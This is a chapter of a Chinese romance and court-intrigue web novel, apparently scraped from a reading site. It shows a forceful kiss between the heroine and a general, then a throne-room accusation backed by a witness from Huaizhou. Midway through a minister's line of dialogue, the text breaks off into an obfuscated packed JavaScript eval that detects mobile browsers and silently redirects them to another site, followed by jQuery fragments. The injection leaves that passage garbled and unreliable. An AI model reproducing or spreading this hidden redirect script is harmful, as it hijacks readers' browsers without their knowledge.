默认冷灰
24号文字
方正启体

47. 沦陷

作者:意昭昭本书字数:K更新时间:
    苏怀黎就这样一步步走向他,看着他的目光从疑惑、震惊,最后染上一层无法言说的疯狂。


    祝无恙紧紧地盯着她,仿佛要将人吞噬了一般。


    她面上维持着镇定,恍若一切都还在掌控之内,目光毫不避讳地与他对视,实则内心已经彻底陷入慌乱。


    单单就这样看着,她内心城防已然土崩瓦解,被他无孔不入地入侵,占据直至沦陷。


    她清楚,自己这一句话会引发怎样的后果。


    不过她不后悔,这一路上,她早已做好了最坏的打算。


    人不能既要又要,她贪恋苏府给予她的温暖,受了这样一份大恩,无论如何,她都得竭尽全力,为他们争取最后的希望。


    她不惜利用祝无恙对她的感情,借用他滔天的权势,谋求庇佑。


    这很不堪,但她不在乎。


    她日日夜夜与梦魇作斗争,彻底明白了一个道理,哪怕她能拒绝他千千万万次,哪怕她的□□已然重生,但她忘不了前世的纠缠,忘不了刻骨铭心的爱与恨。


    每当她想要逃离命运为她安排的结局时,都会被这个决定带向意想不到的深渊。


    所以,既然这一世,无论如何都逃不过此番纠缠,那又何必苦苦挣扎?


    她甘愿与他共沉沦,日日夜夜,至死方休。


    祝无恙再也按耐不住,起身将面前这个轻易扰乱自己心弦之人狠狠纳入怀中。


    不到半寸的距离,他终于看清楚她眼中细碎的慌乱。


    他手下用了几分力道,但怀中的人很是乖巧,哪怕脸颊已经荡漾起难/耐的绯色,也紧紧恪守求人的原则,试图迎合。


    可惜苦了那本就柔嫩的唇瓣。


    她轻喘着气,白皙的手指因不安而下意识地寻求一处衣袖,牢牢攥着。


    祝无恙面上不动声色,但黑眸中的侵略感和紧压的眼角让她清楚地感知到,他还未曾原谅那日她的拒绝。


    除了顺着他,别无他法。


    祝无恙幽幽道:“为了保下他,你竟然不惜以身相赌?阿黎,你这样做会让我生气的,你可知道?”


    “是,或者不是,那又如何?”


    明明已经不堪折/磨,苏怀黎还是倔强地争一口气,“你情我愿之事,祝将军何来生气一说,莫非与我做交易,你还委屈上了不成?”


    祝无恙气极反笑,眼中迸发出危险之色,苏怀黎表面上柔软无助,实则心肠最是坚硬。


    事情发展到了现下这个地步,主动权看似全然掌控在他的手中,苏怀黎只有乖乖听话的份,但他的一颗心依旧被她时刻牵引着。


    她放不下身段来哄他,只能逼得他用上强劲手段或者说是惩罚。


    那就如她所愿好了。


    祝无恙当即将人打横抱起,转身朝主屋走去。


    苏怀黎不由得惊呼出声,瞳孔震惊:“青天白日里,你这是要做什么?”


    他不顾她的挣扎和捶打,面无表情的脸上出现了一丝揶揄:“苏小姐刚刚还说要嫁给我,怎么,只是被未婚夫抱着回房,这就受不了了?”


    他眯起双眸:“看来你还是没有充分意识到,这个举动将要带来的后果。”


    一阵微风拂过,苏怀黎的双腿堪堪落地,下一瞬人就被强制地按在了房门上。


    祝无恙并未给她反应和挣扎的机会,低头强势地吻上了她的唇。


    这是她第一次在清醒状态下与他唇/舌/交/缠,与上一次中了迷/药时的状态截然不同。


    此前那是温柔的、安抚和克制的亲吻,更多的是怜惜与心疼。


    而现在,他将所有的怒气都发泄在了唇上,强制、不容反抗的吻在这刹那将她吞噬殆尽。


    唇上的麻意无限向下蔓延,掠过胸腔,拂过心脏,甚至连指尖都不堪酥麻而发颤。


    她的双手被钳制在他的胸/口,强迫仰起头承受他热烈的亲吻。


    这还远远不够。


    他抬手拂过她的耳/垂与脖/颈之间那块地方,反复摩挲着细腻的肌肤,双指微微用力抬起她的下颌。


    他急于将自己的所有情绪都让她感受到,但是这实在过于汹涌且沉重。


    苏怀黎迫不得已微微侧过脑袋,才勉强争得片刻的喘息,而下一瞬,就被拉回原地,继续陷入纠缠。


    他强势道:“不许拒绝我。”


    苏怀黎长而翘的睫毛轻轻翕动,如同振翅的墨黑色蝶翼,最后缓缓落下,在皮肤表层投下一片淡淡的阴影。


    她还是阖上了双眼,放纵自己的意念沉沦。


    湿热的呼吸相互交/缠/萦/绕,她松开牙关,任由他攻城略地,直至舌尖拂过上颚,将这场亲吻推至顶峰。


    *


    宫中,鎏金殿内。


    肃杀的氛围令殿上的所有官员都胆战心惊。


    不多时,门外一身着暗金铠甲之人,面色凝重、脚步匆匆地进殿,回禀道:“陛下,臣快马加鞭赶到苏府,却不见苏夫人和苏小姐的身影,现下禁卫军已将苏府团团围住,部分人马安排在城中搜捕可疑之人,还请陛下下令封锁城门,以免罪犯逃出京城!”


    此人正是禁卫军的统领,徐繁。


    今日一上朝,刘忠良状告苏府包庇已故信王之女,藏于府上,诸位大臣对他这番举动皆是大为惊恐。


    众所周知,信王王妃乃不孕之身,从未听闻其还有一女。


    但刘忠良一口咬定,苏怀景乃是信王党羽的余孽,一直潜伏在宫中伺机接近皇帝,苏怀黎则是他南下淮州特地搭救的信王之女。


    江湖传言的断尘草,乃是信王向隐居山中的药师求取,而苏怀黎的病症却与断尘草的下药症状如出一辙,只需将人召进宫中一验便知。


    皇帝视信王为眼中钉肉中刺,刘忠良正是拿捏了这点,才敢在未有实质性证据的情况下,仅凭一个虚无缥缈的理由就状告苏府。


    朝中官员人尽皆知,信王李易在新皇登基之际,主动放弃兵权,隐居淮州,此后十几年从未踏进过京城半步。


    哪怕如此,最终也落得个血洗满门的下场。


    若说信王当真瞒天过海,留得一女,只要与其有一丝关联的人都难逃死罪,更不用说,刻意隐瞒身份,包庇罪臣之女的罪责。


    徐繁一席话令在场之人的面色变了一变。


    刘忠良赶忙先发制人:“陛下!一定是苏侍郎将宫中的消息提前走漏出去,罪臣之女才得以畏罪潜逃,若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291997|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非心虚,她为何要逃?苏侍郎,你还有什么可狡辩的!”


    苏怀景严峻肃然的神情稍稍恢复了正常。


    他话锋陡转:“刘尚书,我算是看出来了,您今日一番举动,分明是为了挑战圣上的威严。”


    “你——”


    刘忠良瞬间急得脸色发青,怒骂道,“你信口雌黄!”


    苏怀景目光沉沉地盯着他:“您口口声声说舍妹是信王之后,您的意思是,这十几年来,信王一直与圣上有龃龉嫌隙,这才刻意将皇室血脉藏起来?您这一番言论,又把陛下天子的威严往哪放?”


    此话一出,众人顿时眼观鼻鼻观心,坐在大殿之上的皇帝,铁青着脸,面沉似水。


    他继而道:“况且,父亲与我一直在这大殿之中等候消息,我乃一介文官,何来手段与人脉能将此事传出宫外,您是在质疑这宫墙之内层层把守的禁卫军吗?”


    刘忠良被苏怀景质问得额头直冒汗,扑通一声跪倒在地:“陛下,微臣不是这个意思!是他,是他污蔑我!”


    “够了!”皇帝天威震怒,仅存的耐心也被消耗殆尽,“刘大人,断案是讲究证据的,你所谓的人证现下在何处?若你今日胆敢戏弄朕,朕看你这头顶上的乌纱帽也别要了!”


    刘忠良忙不迭地哐哐磕头:“快了,臣派人在淮州寻得证人之后,便让其日夜兼程赶来京城,人马上就进殿,还请陛下再稍等片刻……”


    若不是皇后再三作保,此举能够扳倒苏家,就是给他十个胆子,也不敢将此事捅到皇帝面前。


    上次刑部走火一事,他急得焦头烂额也查不出半分端倪,若不是皇帝饶他一命,现在哪还有他在刑部什么事?


    今日的证人是皇后让他派人下淮州找的,说是当年灵元寺留存的唯一证人。


    半炷香之后,在禁卫军的带领下,一位身着粗布麻衣的乡野村夫走进了大殿。


    他怯生生地跪在殿上,颤颤巍巍道:“草民郭生,见过陛下,陛下万岁万岁万万岁。”


    有了证人,刘忠良登时胸有成竹,正色道:“郭生,立刻将你的生平往事一五一十地告知陛下,不得有半分隐瞒。”


    “是,是......”


    郭生紧张得脑袋都不敢抬起来,“草民乃江南淮州人氏,自幼丧父丧母,被灵元寺的慧心大师好心收养,留在寺庙中当执事僧人,三年前灵元寺遭遇流寇洗劫,那日,我受主持安排外出行善,这才侥幸逃过一死,等我再回到寺庙时,一切都晚了......此后,我便还俗归隐,在淮州的一处隐蔽之地安顿下来。”


    刘忠良接过话茬:“陛下,郭生自幼就被慧心大师收养,若苏怀黎当真是被收养的流浪儿,那他必然是认识的,只需要将此女的画像给他一认便知,来人!把画像给他看。”


    一幅画卷在郭生面前徐徐展开,画上的女子生得夺目,倾城之色令人过目不忘,与苏怀黎有九分相似。


    郭生战战兢兢地抬起头,只窥见一瞬便慌忙低下头:“草,草民......”


    刘忠良催促道:“郭生,陛下在此,你但说无妨。”


    郭生一咬牙,梗着脖子喊道:“还请陛下为草民做主!救救草民的妻子!!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)